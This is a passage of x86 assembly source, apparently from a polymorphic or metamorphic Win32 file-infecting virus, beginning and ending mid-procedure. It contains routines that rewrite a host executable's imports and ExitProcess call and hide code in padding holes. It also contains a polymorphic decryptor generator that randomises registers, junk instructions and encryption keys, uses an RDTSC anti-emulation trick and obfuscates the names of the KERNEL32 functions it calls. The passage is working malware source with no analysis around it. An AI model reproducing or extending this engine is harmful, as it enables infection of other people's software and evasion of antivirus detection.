cmp esi, 'loc'
jnz @@UpdateImports_UnknownFunction
xor esi, esi
jmp @@UpdateImports_SaveFunctionAddress
@@UpdateImports_GetProcAddress00:
mov esi, [ebx+6]
cmp esi, 'Acor'
jnz @@UpdateImports_UnknownFunction
mov esi, 1
jmp @@UpdateImports_SaveFunctionAddress
@@UpdateImports_ExitProcess00:
mov esi, [ebx+6]
cmp esi, 'corP'
jnz @@UpdateImports_UnknownFunction
mov esi, 2
jmp @@UpdateImports_SaveFunctionAddress
@@UpdateImports_GetModuleHandle00:
mov esi, [ebx+0Ah]
cmp esi, 'naHe'
jnz @@UpdateImports_UnknownFunction
mov esi, [ebx+0Eh]
cmp esi, 'Aeld'
jz @@UpdateImports_GetModuleHandleAFound
cmp esi, 'Weld'
jnz @@UpdateImports_UnknownFunction
mov esi, 1
jmp @@UpdateImports_GetModuleHandleFound
@@UpdateImports_GetModuleHandleAFound:
xor esi, esi
@@UpdateImports_GetModuleHandleFound:
mov [ebp+GetModuleHandleMode], esi
mov esi, 3
@@UpdateImports_SaveFunctionAddress:
pop ebx
push ebx
push eax
push ebx
mov ebx, [ebx]
call TranslateVirtualToPhysical
sub eax, ebx
pop ebx
add eax, [ebx+10h]
cmp eax, edi
jb @@UpdateImports_SetFunctionAddress
add eax, ecx
@@UpdateImports_SetFunctionAddress:
or esi, esi
jz @@UpdateImports_SetVirtualAlloc
cmp esi, 1
jz @@UpdateImports_SetGetProcAddress
cmp esi, 2
jz @@UpdateImports_SetExitProcess
@@UpdateImports_SetGetModuleHandle:
mov [ebp+GetModuleHandleAddress], eax
jmp @@UpdateImports_FunctionSet
@@UpdateImports_SetVirtualAlloc:
mov [ebp+VirtualAllocAddress], eax
jmp @@UpdateImports_FunctionSet
@@UpdateImports_SetGetProcAddress:
mov [ebp+GetProcAddressAddress], eax
jmp @@UpdateImports_FunctionSet
@@UpdateImports_SetExitProcess:
mov [ebp+ExitProcessAddress], eax
@@UpdateImports_FunctionSet:
pop eax
@@UpdateImports_UnknownFunction:
@@UpdateImports_Continue00:
pop ebx
@@UpdateImports_NotKernel32:
cmp edx, edi
jb @@UpdateImports_UpdatedOK
push ebx
mov ebx, eax
call AddUndoAction
pop ebx
add [eax], ecx
@@UpdateImports_UpdatedOK:
add eax, 4
jmp @@UpdateImports_Loop01
@@UpdateImportsOK_02:
mov eax, [ebx]
cmp eax, edi
jb @@UpdateImportsOK_03
call AddUndoAction
add [ebx], ecx
@@UpdateImportsOK_03:
add ebx, 10h
mov eax, [ebx]
cmp eax, edi
jb @@UpdateImportsOK_04_
call AddUndoAction
add eax, ecx
mov [ebx], eax
sub eax, ecx
@@UpdateImportsOK_04_:
sub ebx, 10h
@@UpdateImportsOK_04:
add ebx, 14h
jmp @@UpdateImports_Loop00
@@ImportsUpdated:
pop esi
ret
UpdateImports endp
PatchExitProcess proc
push eax
mov eax, 1
call Random
and eax, 1
jz @@PUSHRET
@@IndirectDisplacement:
push ecx
mov eax, [ebp+TextHeader]
mov ecx, [eax+10h]
mov eax, [eax+14h]
add eax, [ebp+MappingAddress]
push edx
sub ecx, 4
@@LoopFindHole:
sub ecx, 1
or ecx, ecx
jz @@NotFound
mov edx, [eax]
cmp edx, 0CCCCCCCCh
jz @@HoleFound
add eax, 1
jmp @@LoopFindHole
@@NotFound:
pop edx
pop ecx
jmp @@PUSHRET
@@HoleFound:
pop edx
mov [eax], edx
mov ecx, [esi+4]
and ecx, 0FFh
cmp ecx, 0C3h
jz @@RetInserted
sub eax, [ebp+MappingAddress]
mov ecx, [ebp+TextHeader]
sub eax, [ecx+14h]
add eax, [ecx+0Ch]
mov ecx, [ebp+HeaderAddress]
add eax, [ecx+34h]
mov [esi], eax
mov eax, 25h
mov [esi-1], al
pop ecx
jmp @@Return
@@RetInserted:
mov eax, 35h
mov [esi-1], al
pop ecx
jmp @@Return
@@PUSHRET:
mov eax, 68h
mov [esi-2], eax
mov [esi-1], edx
mov eax, 0C3h
mov [esi+3], al
@@Return: pop eax
ret
PatchExitProcess endp
AddUndoAction proc
push edx
mov edx, [ebp+MakingFirstHole]
or edx, edx
jz @@Return
push eax
mov edx, [ebp+NumberOfUndoActions]
add edx, [ebp+OtherBuffers]
mov [edx], ebx
mov eax, [ebx]
mov [edx+4], eax
add edx, 8
sub edx, [ebp+OtherBuffers]
mov [ebp+NumberOfUndoActions], edx
pop eax
@@Return: pop edx
ret
AddUndoAction endp
UndoChanges proc
mov edx, [ebp+NumberOfUndoActions]
or edx, edx
jz @@Ret
mov ecx, edx
sub edx, 8
add edx, [ebp+OtherBuffers]
@@Loop01:
mov ebx, [edx]
mov eax, [edx+4]
mov [ebx], eax
sub edx, 8
sub ecx, 8
or ecx, ecx
jnz @@Loop01
@@Ret: ret
UndoChanges endp
APICall_GetModuleHandle proc
mov eax, [ebp+FlagAorW]
or eax, eax
jz @@UseGMHA
mov ebx, edx
add ebx, 20h
mov ebx, edx
add ecx, 10h
@@LoopConvertToWideChar:
mov eax, [ecx]
and eax, 0FFh
mov [ebx], eax
sub ecx, 1
sub ebx, 2
cmp ecx, edx
jnz @@LoopConvertToWideChar
@@UseGMHA: push edx
call dword ptr [ebp+RVA_GetModuleHandle]
mov [ebp+ReturnValue], eax
ret
APICall_GetModuleHandle endp
GetFunction proc
push eax
push ecx
push edx
mov eax, edx
push eax
mov eax, edi
push eax
call dword ptr [ebp+RVA_GetProcAddress]
mov [ebp+ReturnValue], eax
pop edx
pop ecx
pop eax
mov eax, [ebp+ReturnValue]
ret
GetFunction endp
;----------------------------------------------------------------------------------------
MakeDecryptor proc
mov [ebp+InstructionTable], edi
xor eax, eax
mov [ebp+NumberOfLabels], eax
mov [ebp+NumberOfVariables], eax
mov eax, edi
add eax, 80000h
mov [ebp+ExpansionResult], eax
mov eax, [ebp+RVA_DataHole]
mov ecx, [ebp+HeaderAddress]
add eax, [ecx+34h]
mov [ebp+StartOfEncryptedData], eax
mov edx, [ebp+RelocHeader]
or edx, edx
jnz @@SetDataAtEndOfCryptedCode
mov ecx, [ebp+DataHeader]
mov edx, [ebp+HeaderAddress]
call Random
and eax, 0Fh
add eax, [ecx+0Ch]
add eax, [edx+34h]
jmp @@SetDecryptorDataSection
@@SetDataAtEndOfCryptedCode:
add eax, [ebp+SizeOfNewCode]
and eax, 0FFFFFFFCh
add eax, 4
@@SetDecryptorDataSection:
mov [ebp+Decryptor_DATA_SECTION], eax
mov eax, 1
mov [ebp+CreatingADecryptor], eax
call Poly_MakeRandomExecution
mov eax, [ebp+VirtualAllocAddress]
or eax, eax
jnz @@VirtualAllocAlreadyImported
mov eax, [ebp+GetModuleHandleMode]
or eax, eax
jnz @@GetModuleHandleUNICODE
@@GetModuleHandleASCII:
call Random
and eax, 20202020h
add eax, 'NREK'
mov [ebp+Poly_FirstPartOfFunction], eax
call Random
and eax, 00002020h
add eax, '23LE'
mov [ebp+Poly_SecondPartOfFunction], eax
mov eax, 2
call Random
and eax, 1
jz @@DontSetExtension0
call Random
and eax, 20202000h
add eax, 'LLD.'
@@DontSetExtension0:
mov [ebp+Poly_ThirdPartOfFunction], eax
xor eax, eax
mov [ebp+AdditionToBuffer], eax
call Poly_SetFunctionName
jmp @@NameOfModuleInitialized
@@GetModuleHandleUNICODE:
call Random
and eax, 00200020h
add eax, 0045004Bh
mov [ebp+Poly_FirstPartOfFunction], eax
call Random
and eax, 00200020h
add eax, 004E0052h
mov [ebp+Poly_SecondPartOfFunction], eax
call Random
and eax, 00200020h
add eax, 004C0045h
mov [ebp+Poly_ThirdPartOfFunction], eax
xor eax, eax
mov [ebp+AdditionToBuffer], eax
call Poly_SetFunctionName
mov eax, 00320033h
mov [ebp+Poly_FirstPartOfFunction], eax
mov eax, 2
call Random
and eax, 1
jz @@DontSetExtension1
call Random
and eax, 00200000h
add eax, 0044002Eh
@@DontSetExtension1:
mov [ebp+Poly_SecondPartOfFunction], eax
or eax, eax
jz @@DontSetExtension2
call Random
and eax, 00200020h
add eax, 004C004Ch
@@DontSetExtension2:
mov [ebp+Poly_ThirdPartOfFunction], eax
mov eax, 0Ch
mov [ebp+AdditionToBuffer], eax
call Poly_SetFunctionName
@@NameOfModuleInitialized:
call Poly_SelectThreeRegisters
mov edx, [ebp+Decryptor_DATA_SECTION]
mov ecx, [ebp+BufferRegister]
call Poly_DoMOVRegValue
mov ecx, [ebp+BufferRegister]
call Poly_DoPUSHReg
mov ecx, [ebp+GetModuleHandleAddress]
call Poly_DoCALLMem
mov eax, 0F6h
mov [edi], eax
mov eax, 0808h
mov [edi+1], eax
mov eax, [ebp+Decryptor_DATA_SECTION]
add eax, 10h
mov [edi+3], eax
add edi, 10h
mov eax, 'triV'
mov [ebp+Poly_FirstPartOfFunction], eax
mov eax, 'Alau'
mov [ebp+Poly_SecondPartOfFunction], eax
mov eax, 'coll'
mov [ebp+Poly_ThirdPartOfFunction], eax
xor eax, eax
mov [ebp+AdditionToBuffer], eax
call Poly_SetFunctionName
call Poly_SelectThreeRegisters
mov edx, [ebp+Decryptor_DATA_SECTION]
mov ecx, [ebp+BufferRegister]
call Poly_DoMOVRegValue
mov ecx, [ebp+BufferRegister]
call Poly_DoPUSHReg
call Poly_SelectThreeRegisters
mov ecx, [ebp+IndexRegister]
mov ebx, 10h
call Poly_DoMOVRegMem
mov ecx, [ebp+IndexRegister]
call Poly_DoPUSHReg
mov ecx, [ebp+GetProcAddressAddress]
call Poly_DoCALLMem
mov eax, 0F6h
mov [edi], eax
mov eax, 0808h
mov [edi+1], eax
mov eax, [ebp+Decryptor_DATA_SECTION]
add eax, 10h
mov [edi+3], eax
add edi, 10h
mov [ebp+VirtualAllocAddress], eax
@@VirtualAllocAlreadyImported:
mov eax, 8
mov [ebp+BufferRegister], eax
mov [ebp+CounterRegister], eax
mov [ebp+IndexRegister], eax
mov edx, 4
call Poly_DoPUSHValue
mov edx, 1000h
call Poly_DoPUSHValue
call Random
and eax, 01F000h
mov edx, 350000h
add edx, eax
call Poly_DoPUSHValue
xor edx, edx
call Poly_DoPUSHValue
mov ecx, [ebp+VirtualAllocAddress]
call Poly_DoCALLMem
mov eax, 0F6h
mov [edi], eax
mov eax, 0808h
mov [edi+1], eax
mov eax, [ebp+Decryptor_DATA_SECTION]
mov [edi+3], eax
add edi, 10h
call Poly_SelectThreeRegisters
mov ecx, [ebp+IndexRegister]
xor ebx, ebx
call Poly_DoMOVRegMem
mov ecx, [ebp+IndexRegister]
call Poly_MakeCheckWith0
mov eax, 74h
mov [edi], eax
mov [ebp+Poly_Jump_ErrorInVirtualAlloc], edi
add edi, 10h
mov ecx, [ebp+IndexRegister]
mov edx, [ebp+New_CODE_SECTION]
call Poly_DoADDRegValue
mov ecx, [ebp+IndexRegister]
mov ebx, 10h
call Poly_DoMOVMemReg
call Random
and eax, 0FC000000h
mov edx, [ebp+New_DISASM2_SECTION]
add edx, eax
call Poly_DoPUSHValue
call Random
and eax, 0FC000000h
mov edx, [ebp+New_DATA_SECTION]
add edx, eax
call Poly_DoPUSHValue
call Random
and eax, 0FC000000h
mov edx, [ebp+New_BUFFERS_SECTION]
add edx, eax
call Poly_DoPUSHValue
call Random
and eax, 0FC000000h
mov edx, [ebp+New_DISASM_SECTION]
add edx, eax
call Poly_DoPUSHValue
call Random
and eax, 0FC000000h
mov edx, [ebp+New_CODE_SECTION]
add edx, eax
call Poly_DoPUSHValue
mov edx, [ebp+GetProcAddressAddress]
call Poly_DoPUSHValue
mov edx, [ebp+GetModuleHandleAddress]
call Poly_DoPUSHValue
mov edx, [ebp+TranslatedDeltaRegister]
shl edx, 1
mov eax, [ebp+GetModuleHandleMode]
add edx, eax
call Poly_DoPUSHValue
call Random
mov ebx, [ebp+SizeOfNewCodeP2]
sub ebx, 4
and eax, ebx
mov [ebp+Poly_InitialValue], eax
mov [ebp+CounterValue], eax
call Random
sub ebx, 4
and eax, ebx
mov [ebp+Poly_Addition], eax
call Random
mov ebx, [ebp+SizeOfNewCodeP2]
sub ebx, 4
and eax, ebx
mov [ebp+IndexValue], eax
call Random
mov [ebp+BufferValue], eax
call Poly_SelectThreeRegisters
call Poly_SetValueToRegisters
call Poly_InsertLabel
mov [ebp+Poly_LoopLabel], eax
mov ecx, [ebp+IndexRegister]
call Poly_DoPUSHReg
mov ecx, [ebp+IndexRegister]
mov edx, [ebp+CounterRegister]
call Poly_DoXORRegReg
mov eax, 38h
mov [edi], eax
mov eax, [ebp+IndexRegister]
mov [edi+1], eax
mov eax, [ebp+SizeOfNewCode]
and eax, 0FFFFFFFCh
add eax, 4
mov [edi+7], eax
add edi, 10h
mov eax, 73h
mov [edi], eax
mov [ebp+Poly_ExcessJumpInstruction], edi
add edi, 10h
mov eax, 42h
mov [edi], eax
mov eax, [ebp+IndexRegister]
add eax, 0800h
mov [edi+1], eax
mov eax, [ebp+StartOfEncryptedData]
mov [edi+3], eax
mov eax, [ebp+BufferRegister]
mov [edi+7], eax
add edi, 10h
mov eax, 3
call Random
and eax, 7
jz @@NoEncryption
call Random
@@NoEncryption:
mov [ebp+EncryptionKey], eax
mov ecx, eax
or ecx, ecx
jz @@DontMakeDecryption
xor eax, eax
call Random
and eax, 1
jz @@MethodXOR_prev
mov eax, 1
call Random
and eax, 1
jz @@MethodXOR_prev
jmp @@SetMethod
@@MethodXOR_prev:
mov eax, 2
@@SetMethod:
mov [ebp+TypeOfEncryption], eax
mov ecx, [ebp+EncryptionKey]
or eax, eax
jz @@MethodADD
cmp eax, 1
jz @@MethodSUB
@@MethodXOR:
mov eax, 30h
jmp @@MakeDecryption
@@MethodADD:
neg ecx
@@MethodSUB:
xor eax, eax
@@MakeDecryption:
mov [edi], eax
mov eax, [ebp+BufferRegister]
mov [edi+1], eax
mov [edi+7], ecx
add edi, 10h
@@DontMakeDecryption:
mov eax, 02h
mov [edi], eax
mov eax, 0808h
mov [edi+1], eax
mov eax, [ebp+Decryptor_DATA_SECTION]
add eax, 10h
mov [edi+3], eax
mov eax, [ebp+IndexRegister]
mov [edi+7], eax
add edi, 10h
mov eax, 43h
mov [edi], eax
mov eax, [ebp+IndexRegister]
add eax, 0800h
mov [edi+1], eax
xor eax, eax
mov [edi+3], eax
mov eax, [ebp+BufferRegister]
mov [edi+7], eax
add edi, 10h
call Poly_InsertLabel
mov ebx, [ebp+Poly_ExcessJumpInstruction]
mov [ebx+1], eax
mov ecx, [ebp+IndexRegister]
call Poly_DoPOPReg
call Random
and eax, 1
jz @@AddIndexFirst
@@AddCounterFirst:
call Poly_ModifyCounter
@@C_SelectAnotherSequence:
call Random
and eax, 3
or eax, eax
jz @@C_SelectAnotherSequence
push eax
cmp eax, 1
jnz @@AddCounterFirst_Next00
call Poly_MaskCounter
@@AddCounterFirst_Next00:
call Poly_ModifyIndex
pop eax
push eax
cmp eax, 2
jnz @@AddCounterFirst_Next01
call Poly_MaskCounter
@@AddCounterFirst_Next01:
call Poly_MaskIndex
pop eax
cmp eax, 3
jnz @@AddCounterFirst_Next02
call Poly_MaskCounter
@@AddCounterFirst_Next02:
jmp @@ModificationMade
@@AddIndexFirst:
call Poly_ModifyIndex
@@I_SelectAnotherSequence:
call Random
and eax, 3
or eax, eax
jz @@I_SelectAnotherSequence
push eax
cmp eax, 1
jnz @@AddIndexFirst_Next00
call Poly_MaskIndex
@@AddIndexFirst_Next00:
call Poly_ModifyCounter
pop eax
push eax
cmp eax, 2
jnz @@AddIndexFirst_Next01
call Poly_MaskIndex
@@AddIndexFirst_Next01:
call Poly_MaskCounter
pop eax
cmp eax, 3
jnz @@AddIndexFirst_Next02
call Poly_MaskIndex
@@AddIndexFirst_Next02:
@@ModificationMade:
mov eax, 38h
mov [edi], eax
mov eax, [ebp+CounterRegister]
mov [edi+1], eax
mov eax, [ebp+Poly_InitialValue]
mov [edi+7], eax
add edi, 10h
mov eax, 75h
mov [edi], eax
mov eax, [ebp+Poly_LoopLabel]
mov [edi+1], eax
add edi, 10h
mov eax, 8
mov [ebp+CounterRegister], eax
mov [ebp+BufferRegister], eax
mov ecx, [ebp+DeltaRegister]
mov [ebp+IndexRegister], ecx
xor ebx, ebx
call Poly_DoMOVRegMem
mov ecx, [ebp+Decryptor_DATA_SECTION]
add ecx, 10h
call Poly_DoCALLMem
call Poly_InsertLabel
mov edx, [ebp+Poly_Jump_ErrorInVirtualAlloc]
mov [edx+1], eax
mov edx, [ebp+Poly_JumpRandomExecution]
or edx, edx
jz @@DontSetJump
mov [edx+1], eax
@@DontSetJump:
call Poly_SelectThreeRegisters
xor edx, edx
call Poly_DoPUSHValue
mov ecx, [ebp+ExitProcessAddress]
call Poly_DoCALLMem
mov ebx, [ebp+VarMarksTable]
mov ecx, 2000h
xor eax, eax
@@LoopClearMarks:
mov [ebx], eax
add ebx, 4
sub ecx, 4
or ecx, ecx
jnz @@LoopClearMarks
mov [ebp+AddressOfLastInstruction], edi
mov eax, [ebp+OtherBuffers]
mov [ebp+JumpsTable], eax
add eax, 8000h
mov [ebp+FramesTable], eax
mov eax, [ebp+NewAssembledCode]
push eax
mov eax, [ebp+TranslatedDeltaRegister]
push eax
call XpandCode
mov eax, [ebp+InstructionTable]
mov [ebp+NewAssembledCode], eax
mov eax, [ebp+ExpansionResult]
mov [ebp+InstructionTable], eax
mov eax, [ebp+SizeOfNewCode]
push eax
mov eax, [ebp+RoundedSizeOfNewCode]
push eax
mov eax, [ebp+SizeOfNewCodeP2]
push eax
call AssembleCode
mov eax, [ebp+SizeOfNewCode]
mov [ebp+SizeOfDecryptor], eax
mov eax, [ebp+NewAssembledCode]
mov [ebp+AssembledDecryptor], eax
pop eax
mov [ebp+SizeOfNewCodeP2], eax
pop eax
mov [ebp+RoundedSizeOfNewCode], eax
pop eax
mov [ebp+SizeOfNewCode], eax
pop eax
mov [ebp+TranslatedDeltaRegister], eax
pop eax
mov [ebp+NewAssembledCode], eax
ret
MakeDecryptor endp
Poly_SetFunctionName proc
call Poly_SelectThreeRegisters
mov edx, [ebp+Poly_FirstPartOfFunction]
mov [ebp+IndexValue], edx
mov edx, [ebp+Poly_SecondPartOfFunction]
mov [ebp+BufferValue], edx
mov edx, [ebp+Poly_ThirdPartOfFunction]
mov [ebp+CounterValue], edx
call Poly_SetValueToRegisters
call Poly_SetPART_ONEtoMemory_GetStartAddress
mov ebx, eax
call Poly_SetPART_TWOtoMemory_GetStartAddress
mov ecx, eax
call Poly_SetPART_THREEtoMemory_GetStartAddress
mov edx, eax
call Poly_RandomCall
call Poly_SelectThreeRegisters
mov ecx, [ebp+IndexRegister]
xor edx, edx
call Poly_DoMOVRegValue
mov ebx, [ebp+AdditionToBuffer]
add ebx, 0Ch
mov ecx, [ebp+IndexRegister]
call Poly_DoMOVMemReg
ret
Poly_SetFunctionName endp
Poly_InsertLabel proc
mov eax, [ebp+LabelTable]
mov ecx, [ebp+NumberOfLabels]
or ecx, ecx
jz @@InsertLabel
@@LoopFindLabel:
cmp [eax], edi
jz @@LabelInserted
add eax, 8
sub ecx, 1
or ecx, ecx
jnz @@LoopFindLabel
@@InsertLabel:
mov [eax], edi
mov [eax+4], edi
mov ecx, [ebp+NumberOfLabels]
add ecx, 1
mov [ebp+NumberOfLabels], ecx
@@LabelInserted:
ret
Poly_InsertLabel endp
Poly_ModifyCounter proc
call Random
and eax, 3
add eax, 4
mov edx, eax
mov ecx, [ebp+CounterRegister]
call Poly_DoADDRegValue
ret
Poly_ModifyCounter endp
Poly_MaskIndex proc
mov ecx, [ebp+IndexRegister]
mov esi, 1
jmp Poly_MaskRegister
Poly_MaskIndex endp
Poly_ModifyIndex proc
mov edx, [ebp+Poly_Addition]
mov ecx, [ebp+IndexRegister]
call Poly_DoADDRegValue
ret
Poly_ModifyIndex endp
Poly_MaskRegister proc
mov eax, 20h
mov [edi], eax
mov [edi+1], ecx
call Random
mov ebx, [ebp+SizeOfNewCodeP2]
mov ecx, ebx
not ebx
and eax, ebx
sub ecx, esi
or eax, ecx
neg esi
and eax, esi
mov [edi+7], eax
add edi, 10h
ret
Poly_MaskRegister endp
Poly_MaskCounter proc
mov ecx, [ebp+CounterRegister]
mov esi, 4
jmp Poly_MaskRegister
Poly_MaskCounter endp
Poly_SelectThreeRegisters proc
mov eax, 8
mov [ebp+IndexRegister], eax
mov [ebp+BufferRegister], eax
mov [ebp+CounterRegister], eax
call Poly_GetAGarbageRegister
mov [ebp+IndexRegister], eax
call Poly_GetAGarbageRegister
mov [ebp+BufferRegister], eax
call Poly_GetAGarbageRegister
mov [ebp+CounterRegister], eax
ret
Poly_SelectThreeRegisters endp
Poly_SetValueToRegisters proc
call Poly_SetIndexValue_GetStartAddress
mov ebx, eax
call Poly_SetBufferValue_GetStartAddress
mov ecx, eax
call Poly_SetCounterValue_GetStartAddress
mov edx, eax
call Poly_RandomCall
ret
Poly_SetValueToRegisters endp
Poly_SetIndexValue_GetStartAddress:
call Poly_RandomCall_GetAddress
Poly_SetIndexValue proc
mov ecx, [ebp+IndexRegister]
mov edx, [ebp+IndexValue]
call Poly_DoMOVRegValue
ret
Poly_SetIndexValue endp
Poly_SetBufferValue_GetStartAddress:
call Poly_RandomCall_GetAddress
Poly_SetBufferValue proc
mov ecx, [ebp+BufferRegister]
mov edx, [ebp+BufferValue]
call Poly_DoMOVRegValue
ret
Poly_SetBufferValue endp
Poly_SetCounterValue_GetStartAddress:
call Poly_RandomCall_GetAddress
Poly_SetCounterValue proc
mov ecx, [ebp+CounterRegister]
mov edx, [ebp+CounterValue]
call Poly_DoMOVRegValue
ret
Poly_SetCounterValue endp
Poly_RandomCall_GetAddress proc
pop eax
ret
Poly_RandomCall_GetAddress endp
Poly_SetPART_ONEtoMemory_GetStartAddress:
call Poly_RandomCall_GetAddress
Poly_SetPART_ONEtoMemory proc
mov ecx, [ebp+IndexRegister]
mov ebx, [ebp+AdditionToBuffer]
call Poly_DoMOVMemReg
ret
Poly_SetPART_ONEtoMemory endp
Poly_SetPART_TWOtoMemory_GetStartAddress:
call Poly_RandomCall_GetAddress
Poly_SetPART_TWOtoMemory proc
mov ecx, [ebp+BufferRegister]
mov ebx, [ebp+AdditionToBuffer]
add ebx, 4
call Poly_DoMOVMemReg
ret
Poly_SetPART_TWOtoMemory endp
Poly_SetPART_THREEtoMemory_GetStartAddress:
call Poly_RandomCall_GetAddress
Poly_SetPART_THREEtoMemory proc
mov ecx, [ebp+CounterRegister]
mov ebx, [ebp+AdditionToBuffer]
add ebx, 8
call Poly_DoMOVMemReg
ret
Poly_SetPART_THREEtoMemory endp
Poly_RandomCall proc
mov esi, 5
@@Again: call Xp_GarbleRegisters
sub esi, 1
or esi, esi
jnz @@Again
or ebx, ebx
jz @@DontPush1st
push ebx
@@DontPush1st:
or ecx, ecx
jz @@DontPush2nd
push ecx
@@DontPush2nd:
or edx, edx
jz @@DontPush3rd
push edx
@@DontPush3rd:
ret
Poly_RandomCall endp
Poly_DoADDRegValue proc
mov eax, 3
call Random
and eax, 1
jz @@Direct
mov eax, 40h
mov [edi], eax
call Poly_GetAGarbageRegister
mov [edi+1], eax
mov ebx, eax
mov [edi+7], edx
add edi, 10h
mov eax, 01h
mov [edi], eax
mov [edi+1], ebx
mov [edi+7], ecx
add edi, 10h
ret
@@Direct:
xor eax, eax
mov [edi], eax
mov [edi+1], ecx
mov [edi+7], edx
add edi, 10h
ret
Poly_DoADDRegValue endp
Poly_DoMOVRegValue proc
mov eax, 2
call Random
and eax, 1
jz @@Direct
call Poly_GetAGarbageRegister
push ecx
mov ecx, eax
call @@Direct
mov eax, 41h
mov [edi], eax
mov [edi+1], ecx
pop ecx
mov [edi+7], ecx
add edi, 10h
ret
@@Direct: mov eax, 40h
mov [edi], eax
mov [edi+1], ecx
mov [edi+7], edx
add edi, 10h
ret
Poly_DoMOVRegValue endp
Poly_DoXORRegReg proc
mov eax, 3
call Random
and eax, 1
jz @@Single
call Poly_GetAGarbageRegister
mov esi, eax
mov eax, 41h
mov [edi], eax
mov [edi+1], edx
mov [edi+7], esi
add edi, 10h
mov edx, esi
@@Single: mov eax, 31h
mov [edi], eax
mov [edi+1], edx
mov [edi+7], ecx
add edi, 10h
ret
Poly_DoXORRegReg endp
Poly_DoPUSHValue proc
mov eax, 2
call Random
and eax, 3
or eax, eax
jz @@Direct
mov eax, 40h
mov [edi], eax
call Poly_GetAGarbageRegister
mov [edi+1], eax
mov [edi+7], edx
add edi, 10h
mov ecx, eax
call Poly_DoPUSHReg
ret
@@Direct: mov eax, 68h
mov [edi], eax
mov [edi+7], edx
add edi, 10h
ret
Poly_DoPUSHValue endp
Poly_DoPUSHReg proc
mov eax, 50h
mov [edi], eax
mov [edi+1], ecx
add edi, 10h
ret
Poly_DoPUSHReg endp
Poly_DoPOPReg proc
mov eax, 58h
mov [edi], eax
mov [edi+1], ecx
add edi, 10h
ret
Poly_DoPOPReg endp
Poly_DoMOVMemReg proc
xor eax, eax
call Random
and eax, 1
jz @@Direct
mov eax, 41h
mov [edi], eax
mov [edi+1], ecx
call Poly_GetAGarbageRegister
mov ecx, eax
mov [edi+7], eax
add edi, 10h
@@Direct: mov eax, 43h
mov [edi], eax
mov eax, 0808h
mov [edi+1], eax
mov eax, ebx
add eax, [ebp+Decryptor_DATA_SECTION]
mov [edi+3], eax
mov [edi+7], ecx
add edi, 10h
ret
Poly_DoMOVMemReg endp
Poly_DoMOVRegMem proc
mov eax, 1
call Random
and eax, 1
jz @@Direct
push ecx
call Poly_GetAGarbageRegister
mov ecx, eax
call @@Direct
mov eax, 41h
mov [edi], eax
mov [edi+1], ecx
pop ecx
mov [edi+7], ecx
add edi, 10h
ret
@@Direct: mov eax, 42h
mov [edi], eax
mov eax, 0808h
mov [edi+1], eax
mov eax, ebx
add eax, [ebp+Decryptor_DATA_SECTION]
mov [edi+3], eax
mov [edi+7], ecx
add edi, 10h
ret
Poly_DoMOVRegMem endp
Poly_MakeCheckWith0 proc
xor eax, eax
call Random
and eax, 1
jnz @@Single
mov eax, 40h
mov [edi], eax
call Poly_GetAGarbageRegister
mov [edi+1], eax
xor ebx, ebx
mov [edi+7], ebx
add edi, 10h
mov ebx, 39h
mov [edi], ebx
mov [edi+1], eax
mov [edi+7], ecx
add edi, 10h
ret
@@Single: mov eax, 38h
mov [edi], eax
mov [edi+1], ecx
xor eax, eax
mov [edi+7], eax
add edi, 10h
ret
Poly_MakeCheckWith0 endp
Poly_GetAGarbageRegister proc
@@Again: call Random
and eax, 7
cmp eax, [ebp+IndexRegister]
jz @@Again
cmp eax, [ebp+CounterRegister]
jz @@Again
cmp eax, [ebp+BufferRegister]
jz @@Again
cmp eax, 4
jz @@Again
ret
Poly_GetAGarbageRegister endp
Poly_GetGarbageOneByter proc
call Random
and eax, 7
add eax, 0F8h
cmp eax, 0FAh
jz @@ReturnCMC
cmp eax, 0FDh
jz @@ReturnNOP
cmp eax, 0FEh
jb @@Return
@@ReturnNOP:
mov eax, 90h
@@Return: ret
@@ReturnCMC:
mov eax, 0F5h
ret
Poly_GetGarbageOneByter endp
Poly_MakeRandomExecution proc
call Random
and eax, 3
jnz @@Normal
call Poly_SelectThreeRegisters
mov ecx, [ebp+IndexRegister]
mov edx, [ebp+Decryptor_DATA_SECTION]
call Random
and eax, 1Ch
add edx, eax
cmp eax, 1Ch
jz @@DontAddMore
call Random
and eax, 3
add edx, eax
@@DontAddMore:
call Poly_DoMOVRegValue
call Random
push eax
mov edx, eax
mov ecx, [ebp+BufferRegister]
call Poly_DoMOVRegValue
@@RDTSC_Option0:
mov eax, 3
call Random
and eax, 1
jz @@RDTSC_Option2
xor eax, eax
call Random
and eax, 1
jz @@RDTSC_Option3
@@RDTSC_Option1:
call Random
and eax, 0FF000000h
add eax, 000C3310Fh
jmp @@RDTSC_SetInstruction
@@RDTSC_Option2:
call Poly_GetGarbageOneByter
add eax, 0C3310F00h
jmp @@RDTSC_SetInstruction
@@RDTSC_Option3:
call Poly_GetGarbageOneByter
shl eax, 10h
add eax, 0C300310Fh
@@RDTSC_SetInstruction:
mov edx, eax
pop eax
sub edx, eax
mov ecx, [ebp+BufferRegister]
call Poly_DoADDRegValue
mov eax, 43h
mov [edi], eax
mov eax, 0800h
add eax, [ebp+IndexRegister]
mov [edi+1], eax
xor eax, eax
mov [edi+3], eax
mov eax, [ebp+BufferRegister]
mov [edi+7], eax
add edi, 10h
mov eax, 0ECh
mov [edi], eax
mov eax, [ebp+IndexRegister]
mov [edi+1], eax
add edi, 10h
xor eax, eax
mov [ebp+IndexRegister], eax
mov eax, 8
mov [ebp+BufferRegister], eax
mov [ebp+CounterRegister], eax
mov eax, 1
call Random
and eax, 1
jz @@DirectTEST
@@ANDandCheck:
mov eax, 20h
mov [edi], eax
xor eax, eax
call Xpand_ReverseTranslation
mov [edi+1], eax
call @@GetARandomPowerOf2
mov [edi+7], edx
add edi, 10h
xor eax, eax
call Xpand_ReverseTranslation
mov ecx, eax
call Poly_MakeCheckWith0
@@SetTheJump:
mov eax, 2
call Random
and eax, 1
add eax, 74h
mov [edi], eax
mov [ebp+Poly_JumpRandomExecution], edi
add edi, 10h
ret
@@DirectTEST:
mov eax, 48h
mov [edi], eax
xor eax, eax
call Xpand_ReverseTranslation
mov [edi+1], eax
call @@GetARandomPowerOf2
mov [edi+7], edx
add edi, 10h
jmp @@SetTheJump
@@Normal: xor eax, eax
mov [ebp+Poly_JumpRandomExecution], eax
ret
@@GetARandomPowerOf2:
call Random
and eax, 1Fh
mov edx, 1
@@LoopRotate:
or eax, eax
jz @@RotateFinish
shl edx, 1
sub eax, 1
jmp @@LoopRotate
@@RotateFinish:
ret
Poly_MakeRandomExecution endp
Poly_DoCALLMem proc
mov eax, 1
call Random
and eax, 1
jz @@Single
mov eax, 40h
mov [edi], eax
call Poly_GetAGarbageRegister
mov ebx, eax
